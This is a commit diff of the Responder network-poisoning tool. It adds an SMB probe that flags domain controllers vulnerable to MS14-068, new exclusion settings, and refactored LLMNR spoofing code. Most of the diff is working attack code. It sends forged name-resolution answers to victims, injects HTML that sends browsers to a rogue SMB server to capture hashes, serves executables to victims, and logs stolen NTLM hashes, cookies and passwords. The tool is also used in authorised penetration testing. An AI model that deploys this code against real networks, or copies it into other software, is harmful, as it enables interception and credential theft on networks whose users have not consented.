Compare commits

...

5 Commits

4 changed files with 262 additions and 83 deletions

View File

@@ -1,4 +1,10 @@
ChangeLog Responder 2.0.8:
ChangeLog Responder 2.1.4:
- Added: FindSMB2UPTime.py
- Added: FindSQLSrv.py
- Added: DontRespondTo and DontRespondToName options in Responder.conf
- Added: Lanman module
- Added: Analyze mode
- Added: SMBRelay
- Removed: Old style options (On/Off). Just use -r instead of -r On.
- Added [DHCP.py]: in-scope target, windows >= Vista support (-R) and unicast answers only.
- Added: In-scope llmnr/nbt-ns name option

116
FindSMB2UPTime.py Executable file
View File

@@ -0,0 +1,116 @@
#! /usr/bin/env python
# NBT-NS/LLMNR Responder
# Created by Laurent Gaffie
# Copyright (C) 2014 Trustwave Holdings, Inc.
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import datetime, struct
import sys,socket,struct
from socket import *
from odict import OrderedDict
class Packet():
fields = OrderedDict([
("", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
def GetBootTime(data):
Filetime = int(struct.unpack('<q',data)[0])
t = divmod(Filetime - 116444736000000000, 10000000)
time = datetime.datetime.fromtimestamp(t[0])
return time, time.strftime('%Y-%m-%d %H:%M:%S')
def IsDCVuln(t):
Date = datetime.datetime(2014, 11, 17, 0, 30)
if t[0] < Date:
print "DC is up since:", t[1]
print "This DC is vulnerable to MS14-068"
else:
print "DC is up since:", t[1]
def NbtLen(data):
Len = struct.pack(">i", len(data))
return Len
class SMBHeader(Packet):
fields = OrderedDict([
("Proto", "\xff\x53\x4d\x42"),
("Cmd", "\x72"),
("Error-Code", "\x00\x00\x00\x00" ),
("Flag1", "\x10"),
("Flag2", "\x00\x00"),
("Pidhigh", "\x00\x00"),
("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Reserved", "\x00\x00"),
("TID", "\x00\x00"),
("PID", "\xff\xfe"),
("UID", "\x00\x00"),
("MID", "\x00\x00"),
])
class SMBNego(Packet):
fields = OrderedDict([
("Wordcount", "\x00"),
("Bcc", "\x62\x00"),
("Data", "")
])
def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"])))
class SMBNegoData(Packet):
fields = OrderedDict([
("StrType","\x02" ),
("dialect", "NT LM 0.12\x00"),
("StrType1","\x02"),
("dialect1", "SMB 2.002\x00"),
("StrType2","\x02"),
("dialect2", "SMB 2.???\x00"),
])
def run(host):
s = socket(AF_INET, SOCK_STREAM)
s.connect(host)
s.settimeout(0.1)
h = SMBHeader(Cmd="\x72",Flag1="\x18",Flag2="\x53\xc8")
n = SMBNego(Data = SMBNegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = NbtLen(packet0)+packet0
s.send(buffer0)
try:
data = s.recv(1024)
if data[4:5] == "\xff":
print "This host doesn't support SMBv2"
if data[4:5] == "\xfe":
IsDCVuln(GetBootTime(data[116:124]))
except Exception:
s.close()
raise
if __name__ == "__main__":
if len(sys.argv)<=1:
sys.exit('Usage: python '+sys.argv[0]+' DC-IP-address')
host = sys.argv[1],445
run(host)

View File

@@ -25,7 +25,12 @@ SessionLog = Responder-Session.log
RespondTo =
;Set this option with specific NBT-NS/LLMNR names to answer to (default = All). Example: RespondTo = WPAD,DEV,PROD,SQLINT
;RespondTo = WPAD,DEV,PROD,SQLINT
RespondToName =
RespondToName =
;
;DontRespondTo = 10.20.1.116,10.20.1.117,10.20.1.118,10.20.1.119
DontRespondTo =
;Set this option with specific NBT-NS/LLMNR names not to respond to (default = None). Example: DontRespondTo = NAC, IPS, IDS
DontRespondToName =
;
[HTTP Server]
;;
@@ -45,10 +50,8 @@ ExecFilename = FixInternet.exe
WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}
;
;HTML answer to inject.
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.
;Also, the HTML has to be in this format "<html> Payload goes here...</html>".
;In this example, we redirect the browser to our rogue SMB server. Please consider the "RespProxySrv" string when modifying, it is used in conjunction with WPADScript so no proxy will be used for this host.Also, the HTML has to be in this format "<html> Payload goes here...</html>".
HTMLToServe = <html><head></head><body><img src='file:\\\\\RespProxySrv\ssed\seyad.ico' alt='Loading' height='1' width='2'></body></html>
;
[HTTPS Server]
;
;Change to use your certs

210
Responder.py Normal file → Executable file
View File

@@ -23,7 +23,8 @@ from odict import OrderedDict
from socket import inet_aton
from random import randrange
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf',
VERSION = 'Responder 2.1.2'
parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf', version = VERSION,
prog=sys.argv[0],
)
parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", dest="Analyse")
@@ -79,10 +80,15 @@ Exe_On_Off = config.get('HTTP Server', 'Serve-Exe').upper()
Exec_Mode_On_Off = config.get('HTTP Server', 'Serve-Always').upper()
FILENAME = config.get('HTTP Server', 'Filename')
WPAD_Script = config.get('HTTP Server', 'WPADScript')
HTMLToServe = config.get('HTTP Server', 'HTMLToServe')
RespondTo = config.get('Responder Core', 'RespondTo').strip()
RespondTo.split(",")
RespondToName = config.get('Responder Core', 'RespondToName').strip()
RespondToName.split(",")
DontRespondTo = config.get('Responder Core', 'DontRespondTo').strip()
DontRespondTo.split(",")
DontRespondToName = config.get('Responder Core', 'DontRespondToName').strip()
DontRespondToName.split(",")
#Cli options.
OURIP = options.OURIP
LM_On_Off = options.LM_On_Off
@@ -96,6 +102,9 @@ Verbose = options.Verbose
Force_WPAD_Auth = options.Force_WPAD_Auth
AnalyzeMode = options.Analyse
if HTMLToServe == None:
HTMLToServe = ''
if INTERFACE != "Not set":
BIND_TO_Interface = INTERFACE
@@ -130,9 +139,11 @@ def Analyze(AnalyzeMode):
return False
#Logger
CommandLine = str(sys.argv)
import logging
logging.basicConfig(filename=str(os.path.join(ResponderPATH,SessionLog)),level=logging.INFO,format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')
logging.warning('Responder Started')
StartMessage = 'Responder Started\nCommand line args:%s' %(CommandLine)
logging.warning(StartMessage)
Log2Filename = str(os.path.join(ResponderPATH,"LLMNR-NBT-NS.log"))
logger2 = logging.getLogger('LLMNR/NBT-NS')
@@ -254,7 +265,30 @@ def RespondToNameScope(RespondToName, Name):
else:
return False
##Dont Respond to these hosts/names.
def DontRespondToSpecificHost(DontRespondTo):
if len(DontRespondTo)>=1 and DontRespondTo != ['']:
return True
else:
return False
def DontRespondToSpecificName(DontRespondToName):
if len(DontRespondToName)>=1 and DontRespondToName != ['']:
return True
else:
return False
def DontRespondToIPScope(DontRespondTo, ClientIp):
if ClientIp in DontRespondTo:
return True
else:
return False
def DontRespondToNameScope(DontRespondToName, Name):
if Name in DontRespondToName:
return True
else:
return False
##################################################################################
#NBT NS Stuff
##################################################################################
@@ -337,6 +371,13 @@ class NB(BaseRequestHandler):
data, socket = self.request
Name = Decode_Name(data[13:45])
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if Analyze(AnalyzeMode):
if data[2:4] == "\x01\x10":
if Is_Finger_On(Finger_On_Off):
@@ -640,7 +681,6 @@ def Is_Anonymous(data):
if SecBlobLen > 260:
SSPIStart = data[79:]
LMhashLen = struct.unpack('<H',data[93:95])[0]
print 'LMHASHLEN:',struct.unpack('<H',data[89:91])[0]
if LMhashLen == 0 or LMhashLen == 1:
return True
else:
@@ -1232,6 +1272,8 @@ def IsICMPRedirectPlausible(IP):
dnsip = []
for line in file('/etc/resolv.conf', 'r'):
ip = line.split()
if len(ip) < 2:
continue
if ip[0] == 'nameserver':
dnsip.extend(ip[1:])
for x in dnsip:
@@ -1260,10 +1302,10 @@ class LLMNR(BaseRequestHandler):
def handle(self):
data, soc = self.request
try:
if Analyze(AnalyzeMode):
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if Analyze(AnalyzeMode):
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
@@ -1272,68 +1314,67 @@ class LLMNR(BaseRequestHandler):
except Exception:
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
logger3.warning(Message)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
else:
Message = "[Analyze mode: LLMNR] Host: %s is looking for : %s."%(self.client_address[0], Name)
if PrintLLMNRNBTNS(AnalyzeFilename,Message):
print Message
logger3.warning(Message)
logger3.warning(Message)
if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if DontRespondToSpecificHost(DontRespondTo):
if RespondToIPScope(DontRespondTo, self.client_address[0]):
return None
if DontRespondToSpecificName(DontRespondToName) and DontRespondToNameScope(DontRespondToName.upper(), Name.upper()):
return None
if RespondToSpecificHost(RespondTo):
if Analyze(AnalyzeMode) == False:
if RespondToIPScope(RespondTo, self.client_address[0]):
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
for x in range(1):
soc.sendto(str(buff), self.client_address)
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
logging.warning(Message)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if data[2:4] == "\x00\x00":
if Parse_IPV6_Addr(data):
Name = Parse_LLMNR_Name(data)
if Analyze(AnalyzeMode) == False and RespondToSpecificHost(RespondTo) == False:
if RespondToSpecificName(RespondToName) and RespondToNameScope(RespondToName.upper(), Name.upper()):
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
@@ -1354,24 +1395,24 @@ class LLMNR(BaseRequestHandler):
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
if RespondToSpecificName(RespondToName) == False:
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
soc.sendto(str(buff), self.client_address)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
buff = LLMNRAns(Tid=data[0:2],QuestionName=Name, AnswerName=Name)
buff.calculate()
Message = "LLMNR poisoned answer sent to this IP: %s. The requested name was : %s."%(self.client_address[0],Name)
for x in range(1):
soc.sendto(str(buff), self.client_address)
if PrintLLMNRNBTNS(Log2Filename,Message):
print Message
logger2.warning(Message)
if Is_Finger_On(Finger_On_Off):
try:
Finger = RunSmbFinger((self.client_address[0],445))
print '[+] OsVersion is:%s'%(Finger[0])
print '[+] ClientVersion is :%s'%(Finger[1])
logging.warning('[+] OsVersion is:%s'%(Finger[0]))
logging.warning('[+] ClientVersion is :%s'%(Finger[1]))
except Exception:
logging.warning('[+] Fingerprint failed for host: %s'%(self.client_address[0]))
pass
else:
pass
else:
@@ -1615,7 +1656,6 @@ def Basic_Ntlm(Basic):
def ServeEXE(data,client, Filename):
Message = "[+]Sent %s file sent to: %s."%(Filename,client)
print Message
logging.warning(Message)
with open (Filename, "rb") as bk:
data = bk.read()
@@ -1702,7 +1742,7 @@ def PacketSequence(data,client):
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
@@ -1722,7 +1762,7 @@ def PacketSequence(data,client):
buffer1 = WpadCustom(data,client)
return buffer1
else:
buffer1 = IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe'))
buffer1 = IIS_Auth_Granted(Payload=HTMLToServe)
buffer1.calculate()
return str(buffer1)
@@ -1776,8 +1816,21 @@ def HandleGzip(Headers, Content, Payload):
else:
return False
def InjectPage(data, client):
if ServeEXECAlwaysOrNot(Exec_Mode_On_Off):
if IsExecutable(FILENAME):
buffer1 = ServeAlwaysExeFile(Payload = ServeEXE(data,client,FILENAME),ContentDiFile=FILENAME)
buffer1.calculate()
return str(buffer1)
else:
buffer1 = ServeAlwaysNormalFile(Payload = ServeEXE(data,client,FILENAME))
buffer1.calculate()
return str(buffer1)
else:
return False
def InjectData(data):
Payload = config.get('HTTP Server','HTMLToServe')
Payload = HTMLToServe
if len(data.split('\r\n\r\n'))>1:
try:
Headers, Content = data.split('\r\n\r\n')
@@ -1904,8 +1957,10 @@ class ProxyHandler (BaseHTTPServer.BaseHTTPRequestHandler):
if i is soc:
out = self.connection
try:
if len(config.get('HTTP Server','HTMLToServe'))>5:
if len(HTMLToServe)>5:
data = InjectData(i.recv(8192))
if InjectPage(i.recv(8192),self.client_address[0]):
data = InjectPage(i.recv(8192),self.client_address[0])
else:
data = i.recv(8192)
except:
@@ -2009,7 +2064,7 @@ def HTTPSPacketSequence(data,client):
if packetNtlm == "\x03":
NTLM_Auth= b64decode(''.join(a))
ParseHTTPSHash(NTLM_Auth,client)
buffer1 = str(IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')))
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
return buffer1
if b:
GrabCookie(data,client)
@@ -2017,7 +2072,7 @@ def HTTPSPacketSequence(data,client):
WriteData(outfile,b64decode(''.join(b)), b64decode(''.join(b)))
print "[+]HTTPS-User & Password:", b64decode(''.join(b))
logging.warning('[+]HTTPS-User & Password: %s'%(b64decode(''.join(b))))
buffer1 = str(IIS_Auth_Granted(Payload=config.get('HTTP Server','HTMLToServe')))
buffer1 = str(IIS_Auth_Granted(Payload=HTMLToServe))
return buffer1
else:
@@ -2520,4 +2575,3 @@ if __name__ == '__main__':
main()
except:
raise